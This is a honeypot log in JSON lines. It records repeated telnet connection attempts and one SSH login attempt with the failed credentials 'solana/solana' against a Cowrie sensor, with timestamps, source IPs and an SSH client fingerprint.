{"eventid":"cowrie.session.closed","duration":31.009307146072388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.596880Z","src_ip":"199.231.212.75","session":"e176b8e0c026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038006067276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.600988Z","src_ip":"199.231.212.75","session":"51a29117edac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46354,"dst_ip":"10.17.0.5","dst_port":23,"session":"2949037745ac","protocol":"telnet","message":"New connection: 86.120.107.100:46354 (10.17.0.5:23) [session: 2949037745ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.878718Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bc494b2782c","protocol":"telnet","message":"New connection: 164.68.122.45:52630 (10.17.0.5:23) [session: 7bc494b2782c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:52.987356Z"}
{"eventid":"cowrie.session.closed","duration":31.062804460525513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.250097Z","src_ip":"164.68.122.45","session":"fce3ba9af827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59786,"dst_ip":"10.17.0.5","dst_port":23,"session":"258bc1794de4","protocol":"telnet","message":"New connection: 199.231.212.75:59786 (10.17.0.5:23) [session: 258bc1794de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.431484Z"}
{"eventid":"cowrie.session.closed","duration":31.023357152938843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.439881Z","src_ip":"164.68.122.45","session":"5b164348d393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":46356,"dst_ip":"10.17.0.5","dst_port":23,"session":"3130030a18a4","protocol":"telnet","message":"New connection: 86.120.107.100:46356 (10.17.0.5:23) [session: 3130030a18a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.537307Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db4f776b58e","protocol":"telnet","message":"New connection: 199.231.212.75:59792 (10.17.0.5:23) [session: 0db4f776b58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.826503Z"}
{"eventid":"cowrie.session.closed","duration":31.7380850315094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.854061Z","src_ip":"164.68.122.45","session":"ca2030e44a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6484942c45d","protocol":"telnet","message":"New connection: 164.68.122.45:52638 (10.17.0.5:23) [session: f6484942c45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:53.904084Z"}
{"eventid":"cowrie.session.closed","duration":31.18441653251648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.000903Z","src_ip":"164.68.122.45","session":"90a70157bdc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.250028371810913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.134383Z","src_ip":"164.68.122.45","session":"993fafd02ccd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19763469696045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.167179Z","src_ip":"199.231.212.75","session":"d5d67cb5336f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.414961338043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.176854Z","src_ip":"199.231.212.75","session":"2ae4aee5d431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980912446975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.218061Z","src_ip":"164.68.122.45","session":"e88e30cde81a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5ada49bbe93","protocol":"telnet","message":"New connection: 164.68.122.45:52652 (10.17.0.5:23) [session: d5ada49bbe93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.463576Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59800,"dst_ip":"10.17.0.5","dst_port":23,"session":"458876f8aa6e","protocol":"telnet","message":"New connection: 199.231.212.75:59800 (10.17.0.5:23) [session: 458876f8aa6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.495303Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"661fa6865bab","protocol":"telnet","message":"New connection: 164.68.122.45:52662 (10.17.0.5:23) [session: 661fa6865bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:54.866666Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d11fd5d26f5","protocol":"telnet","message":"New connection: 86.120.107.100:41120 (10.17.0.5:23) [session: 3d11fd5d26f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.060938Z"}
{"eventid":"cowrie.session.closed","duration":30.73470687866211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.085370Z","src_ip":"199.231.212.75","session":"3e8ac5d2b2c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38245916366577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.284639Z","src_ip":"86.120.107.100","session":"f1f86d236c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.010380506515503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.293801Z","src_ip":"199.231.212.75","session":"a68bf3aac009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d20ce25e9b1","protocol":"telnet","message":"New connection: 164.68.122.45:52666 (10.17.0.5:23) [session: 5d20ce25e9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.324212Z"}
{"eventid":"cowrie.session.closed","duration":31.38136100769043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.597610Z","src_ip":"164.68.122.45","session":"8fa6b8fc9e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068164587020874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.606429Z","src_ip":"164.68.122.45","session":"b019add28c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7105904ad3f","protocol":"telnet","message":"New connection: 199.231.212.75:59802 (10.17.0.5:23) [session: e7105904ad3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:55.842600Z"}
{"eventid":"cowrie.session.closed","duration":31.035046577453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.065814Z","src_ip":"164.68.122.45","session":"b82a112b0cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d1d9fa8231c","protocol":"telnet","message":"New connection: 199.231.212.75:59818 (10.17.0.5:23) [session: 7d1d9fa8231c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.085104Z"}
{"eventid":"cowrie.session.closed","duration":31.304837465286255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.454663Z","src_ip":"164.68.122.45","session":"04f1d087378e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52682,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80b7f544fd9","protocol":"telnet","message":"New connection: 164.68.122.45:52682 (10.17.0.5:23) [session: f80b7f544fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.547793Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52686,"dst_ip":"10.17.0.5","dst_port":23,"session":"04db78724a7d","protocol":"telnet","message":"New connection: 164.68.122.45:52686 (10.17.0.5:23) [session: 04db78724a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.626982Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"b49dbb36425c","protocol":"telnet","message":"New connection: 199.231.212.75:59820 (10.17.0.5:23) [session: b49dbb36425c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:56.911330Z"}
{"eventid":"cowrie.session.closed","duration":30.411946296691895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.067545Z","src_ip":"199.231.212.75","session":"33e328c3ff0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d18a6df491","protocol":"telnet","message":"New connection: 164.68.122.45:52688 (10.17.0.5:23) [session: e5d18a6df491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.072717Z"}
{"eventid":"cowrie.session.closed","duration":30.642777919769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.117189Z","src_ip":"199.231.212.75","session":"cd9ebe051cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130826950073242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.128281Z","src_ip":"164.68.122.45","session":"6182939bda94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962646484375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.155169Z","src_ip":"86.120.107.100","session":"96fe1c83954e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52692,"dst_ip":"10.17.0.5","dst_port":23,"session":"29388cb285c8","protocol":"telnet","message":"New connection: 164.68.122.45:52692 (10.17.0.5:23) [session: 29388cb285c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.593305Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d22b3a139f","protocol":"telnet","message":"New connection: 164.68.122.45:52706 (10.17.0.5:23) [session: 59d22b3a139f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:57.692322Z"}
{"eventid":"cowrie.session.closed","duration":30.687943935394287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:58.107178Z","src_ip":"164.68.122.45","session":"97ebecd1fa8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94594955444336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:58.132101Z","src_ip":"199.231.212.75","session":"2746d29ed1ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f4c3e0e7f4f","protocol":"telnet","message":"New connection: 199.231.212.75:59828 (10.17.0.5:23) [session: 7f4c3e0e7f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:58.231810Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52714,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e1b4dbec84","protocol":"telnet","message":"New connection: 164.68.122.45:52714 (10.17.0.5:23) [session: e0e1b4dbec84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:58.388435Z"}
{"eventid":"cowrie.session.closed","duration":31.33802080154419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:58.629155Z","src_ip":"199.231.212.75","session":"4ebea7a886ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"1430ec369418","protocol":"telnet","message":"New connection: 199.231.212.75:59838 (10.17.0.5:23) [session: 1430ec369418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.065768Z"}
{"eventid":"cowrie.session.closed","duration":43.73946285247803,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.070637Z","src_ip":"174.138.46.234","session":"def8b6b3d1e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59852,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d178c2916a6","protocol":"telnet","message":"New connection: 199.231.212.75:59852 (10.17.0.5:23) [session: 9d178c2916a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.105391Z"}
{"eventid":"cowrie.session.closed","duration":30.959062814712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.111014Z","src_ip":"199.231.212.75","session":"25f8ba206cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59862,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6da64a15dce","protocol":"telnet","message":"New connection: 199.231.212.75:59862 (10.17.0.5:23) [session: c6da64a15dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.216095Z"}
{"eventid":"cowrie.session.closed","duration":31.225876569747925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.302309Z","src_ip":"199.231.212.75","session":"2a8093a37478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679122924804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.580742Z","src_ip":"164.68.122.45","session":"05311889e5e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":59866,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b27e8745fca","protocol":"telnet","message":"New connection: 199.231.212.75:59866 (10.17.0.5:23) [session: 5b27e8745fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:59.857582Z"}
{"eventid":"cowrie.session.closed","duration":30.476173877716064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.169959Z","src_ip":"164.68.122.45","session":"c4facbf8d0aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.358807802200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.292261Z","src_ip":"199.231.212.75","session":"0a0b61089e71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80291724205017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.383429Z","src_ip":"199.231.212.75","session":"6cf9defcbdc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33824324607849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.421173Z","src_ip":"164.68.122.45","session":"9b5af17b1b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012625455856323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.429141Z","src_ip":"199.231.212.75","session":"76fd9129b7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16919469833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.732536Z","src_ip":"199.231.212.75","session":"38bd4c8528bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49176,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6c1cc40e7c","protocol":"telnet","message":"New connection: 199.231.212.75:49176 (10.17.0.5:23) [session: 2d6c1cc40e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:00.922277Z"}
{"eventid":"cowrie.session.closed","duration":30.650359869003296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:01.046181Z","src_ip":"199.231.212.75","session":"b1fd156db96f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682749032974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:01.072249Z","src_ip":"164.68.122.45","session":"e2df26b21886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52726,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bbea169b686","protocol":"telnet","message":"New connection: 164.68.122.45:52726 (10.17.0.5:23) [session: 6bbea169b686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:02.032897Z"}
{"eventid":"cowrie.session.closed","duration":30.96459698677063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:02.748065Z","src_ip":"199.231.212.75","session":"1b2d78dc54c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":40108,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d448e460306","protocol":"ssh","message":"New connection: 80.94.92.168:40108 (10.17.0.5:22) [session: 9d448e460306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:02.991519Z"}
{"eventid":"cowrie.session.closed","duration":31.69796109199524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.046860Z","src_ip":"86.120.107.100","session":"fa6102a25bb6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.128688Z","src_ip":"80.94.92.168","session":"9d448e460306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.108006477355957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.214951Z","src_ip":"86.120.107.100","session":"e95b5c3c45f3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.373510Z","src_ip":"80.94.92.168","session":"9d448e460306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49184,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bc11718926","protocol":"telnet","message":"New connection: 199.231.212.75:49184 (10.17.0.5:23) [session: 51bc11718926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.382525Z"}
{"eventid":"cowrie.session.closed","duration":32.13166785240173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.818949Z","src_ip":"164.68.122.45","session":"d46245d52401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30893898010254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:03.889404Z","src_ip":"164.68.122.45","session":"99ca793b9fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52738,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a7b077aac3","protocol":"telnet","message":"New connection: 164.68.122.45:52738 (10.17.0.5:23) [session: 60a7b077aac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.116566Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d85e9d5dd7","protocol":"telnet","message":"New connection: 164.68.122.45:52742 (10.17.0.5:23) [session: b4d85e9d5dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.152295Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.338043Z","src_ip":"80.94.92.168","session":"9d448e460306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36068081855774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.425022Z","src_ip":"199.231.212.75","session":"309d2589322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18456244468689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.615639Z","src_ip":"199.231.212.75","session":"a1a82fce2eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":49200,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9677180e31a","protocol":"telnet","message":"New connection: 199.231.212.75:49200 (10.17.0.5:23) [session: f9677180e31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:04.890906Z"}
